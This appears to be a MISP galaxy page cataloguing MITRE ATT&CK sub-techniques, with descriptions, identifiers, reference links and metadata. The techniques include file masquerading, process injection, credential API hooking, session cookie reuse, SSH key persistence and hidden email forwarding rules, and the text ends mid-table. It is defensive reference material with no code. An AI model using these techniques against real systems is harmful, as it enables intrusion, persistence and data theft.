UUID 11f29a39-0942-4d62-92b6-fe236cf3066e which can be used as unique global reference for Double File Extension - T1036.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1036/007 - webarchive
- https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/ - webarchive
- https://www.pcmag.com/encyclopedia/term/double-extension - webarchive
- https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.007 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Install Digital Certificate - T1608.003
Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)
Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.
Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).
Internal MISP references
UUID c071d8c1-3b3a-4f22-9407-ca4e96921069 which can be used as unique global reference for Install Digital Certificate - T1608.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1608.003 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Internet Scan: Response Content'] |
| mitre_platforms | ['PRE'] |
Related clusters
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Masquerade File Type - T1036.008
Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either .JPE, .JPEG or .JPG.
Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.
Common non-executable file types and extensions, such as text files (.txt) and image files (.jpg, .gif, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.
Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)
Internal MISP references
UUID 208884f1-7b83-4473-ac22-4e1cf6c41471 which can be used as unique global reference for Masquerade File Type - T1036.008 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.008 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
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Break Process Trees - T1036.009
An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)
On Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the fork() API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the init system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.
Another example is using the “daemon” syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)
Internal MISP references
UUID 34a80bc4-80f2-46e6-94ff-f3265a4b657c which can be used as unique global reference for Break Process Trees - T1036.009 in MISP communities and other software using the MISP galaxy
External references
- https://0xjet.github.io/3OHA/2022/04/11/post.html - webarchive
- https://attack.mitre.org/techniques/T1036/009 - webarchive
- https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/ - webarchive
- https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.009 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
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Additional Cloud Roles - T1098.003
An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker) (Citation: Microsoft O365 Admin Roles)
This account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.
For example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)
In some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)
Internal MISP references
UUID 2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3 which can be used as unique global reference for Additional Cloud Roles - T1098.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1098/003 - webarchive
- https://cloud.google.com/iam/docs/policies - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html - webarchive
- https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide - webarchive
- https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ - webarchive
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - webarchive
- https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d - webarchive
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098.003 |
| kill_chain | ['attack-Office-365:persistence', 'attack-IaaS:persistence', 'attack-SaaS:persistence', 'attack-Google-Workspace:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-SaaS:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-Azure-AD:privilege-escalation'] |
| mitre_data_sources | ['User Account: User Account Modification'] |
| mitre_platforms | ['Office 365', 'IaaS', 'SaaS', 'Google Workspace', 'Azure AD'] |
Related clusters
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Asynchronous Procedure Call - T1055.004
Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.
APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL).
A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 7c0f17c9-1af6-4628-9cbd-9e45482dd605 which can be used as unique global reference for Asynchronous Procedure Call - T1055.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1055/004 - webarchive
- https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx - webarchive
- https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.004 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Web Session Cookie - T1550.004
Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)
Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.
There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)
Internal MISP references
UUID c3c8c916-2f3c-4e71-94b2-240bdfc996f0 which can be used as unique global reference for Web Session Cookie - T1550.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1550.004 |
| kill_chain | ['attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-Google-Workspace:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Office-365:lateral-movement', 'attack-SaaS:lateral-movement', 'attack-Google-Workspace:lateral-movement', 'attack-IaaS:lateral-movement'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Web Credential: Web Credential Usage'] |
| mitre_platforms | ['Office 365', 'SaaS', 'Google Workspace', 'IaaS'] |
Related clusters
To see the related clusters, click here.
Credential API Hooking - T1056.004
Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
- Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
- Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
- Inline hooking, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)
Internal MISP references
UUID f5946b5e-9408-485f-a7f7-b5efc88909b6 which can be used as unique global reference for Credential API Hooking - T1056.004 in MISP communities and other software using the MISP galaxy
External references
- http://www.gmer.net/ - webarchive
- https://attack.mitre.org/techniques/T1056/004 - webarchive
- https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - webarchive
- https://github.com/jay/gethooks - webarchive
- https://github.com/prekageo/winhook - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - webarchive
- https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis - webarchive
- https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - webarchive
- https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.exploit-db.com/docs/17802.pdf - webarchive
- https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918 - webarchive
- https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - webarchive
- https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1056.004 |
| kill_chain | ['attack-Windows:collection', 'attack-Windows:credential-access'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Metadata'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
SSH Authorized Keys - T1098.004
Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.
Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.
Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.
SSH keys can also be added to accounts on network devices, such as with the ip ssh pubkey-chain Network Device CLI command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)
Internal MISP references
UUID 6b57dc31-b814-4a03-8706-28bc20d739c4 which can be used as unique global reference for SSH Authorized Keys - T1098.004 in MISP communities and other software using the MISP galaxy
External references
- https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ - webarchive
- https://attack.mitre.org/techniques/T1098/004 - webarchive
- https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata - webarchive
- https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478 - webarchive
- https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability - webarchive
- https://www.ssh.com/ssh/authorized_keys/ - webarchive
- https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098.004 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-IaaS:persistence', 'attack-Network:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-IaaS:privilege-escalation', 'attack-Network:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'IaaS', 'Network'] |
Related clusters
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Terminal Services DLL - T1505.005
Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)
Windows Services that are run as a "generic" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in %SystemRoot%\System32\, is the default ServiceDll value for Terminal Services in HKLM\System\CurrentControlSet\services\TermService\Parameters\.
Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent Remote Desktop Protocol sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.
Internal MISP references
UUID 379809f6-2fac-42c1-bd2e-e9dee70b27f8 which can be used as unique global reference for Terminal Services DLL - T1505.005 in MISP communities and other software using the MISP galaxy
External references
- http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/ - webarchive
- https://attack.mitre.org/techniques/T1505/005 - webarchive
- https://docs.microsoft.com/windows/win32/termserv/about-terminal-services - webarchive
- https://github.com/stascorp/rdpwrap - webarchive
- https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx - webarchive
- https://twitter.com/james_inthe_box/status/1150495335812177920 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1505.005 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Thread Local Storage - T1055.005
Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.
TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.(Citation: FireEye TLS Nov 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID e49ee9d2-0d98-44ef-85e5-5d3100065744 which can be used as unique global reference for Thread Local Storage - T1055.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1055/005 - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.005 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
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Ptrace System Calls - T1055.008
Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID ea016b56-ae0e-47fe-967a-cc0ad51af67f which can be used as unique global reference for Ptrace System Calls - T1055.008 in MISP communities and other software using the MISP galaxy
External references
- http://man7.org/linux/man-pages/man2/ptrace.2.html - webarchive
- http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - webarchive
- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - webarchive
- https://attack.mitre.org/techniques/T1055/008 - webarchive
- https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf - webarchive
- https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be - webarchive
- https://www.gnu.org/software/acct/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.008 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| mitre_platforms | ['Linux'] |
Related clusters
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Network Security Appliances - T1590.006
Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.
Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information.(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).
Internal MISP references
UUID 6c2957f9-502a-478c-b1dd-d626c0659413 which can be used as unique global reference for Network Security Appliances - T1590.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590.006 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Network Device CLI - T1059.008
Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.
Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or SSH.
Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)
Internal MISP references
UUID 818302b2-d640-477b-bf88-873120ce85c4 which can be used as unique global reference for Network Device CLI - T1059.008 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.008 |
| kill_chain | ['attack-Network:execution'] |
| mitre_data_sources | ['Command: Command Execution'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Local Email Collection - T1114.001
Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.
Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in C:\Users\<username>\Documents\Outlook Files or C:\Users\<username>\AppData\Local\Microsoft\Outlook.(Citation: Microsoft Outlook Files)
Internal MISP references
UUID 1e9eb839-294b-48cc-b0d3-c45555a2a004 which can be used as unique global reference for Local Email Collection - T1114.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1114.001 |
| kill_chain | ['attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Remote Email Collection - T1114.002
Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.
Internal MISP references
UUID b4694861-542c-48ea-9eb1-10d356e7140a which can be used as unique global reference for Remote Email Collection - T1114.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1114.002 |
| kill_chain | ['attack-Office-365:collection', 'attack-Windows:collection', 'attack-Google-Workspace:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation'] |
| mitre_platforms | ['Office 365', 'Windows', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Compiled HTML File - T1218.001
Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)
A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)
Internal MISP references
UUID a6937325-9321-4e2e-bb2b-3ed2d40b2a9d which can be used as unique global reference for Compiled HTML File - T1218.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/001 - webarchive
- https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk - webarchive
- https://msdn.microsoft.com/windows/desktop/ms524405 - webarchive
- https://msdn.microsoft.com/windows/desktop/ms644670 - webarchive
- https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/ - webarchive
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.001 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Email Forwarding Rule - T1114.003
Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)
Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)
In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.
Internal MISP references
UUID 7d77a07d-02fe-4e88-8bd9-e9c008c01bf0 which can be used as unique global reference for Email Forwarding Rule - T1114.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1114/003 - webarchive
- https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/ - webarchive
- https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/ - webarchive
- https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules - webarchive
- https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-086A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1114.003 |
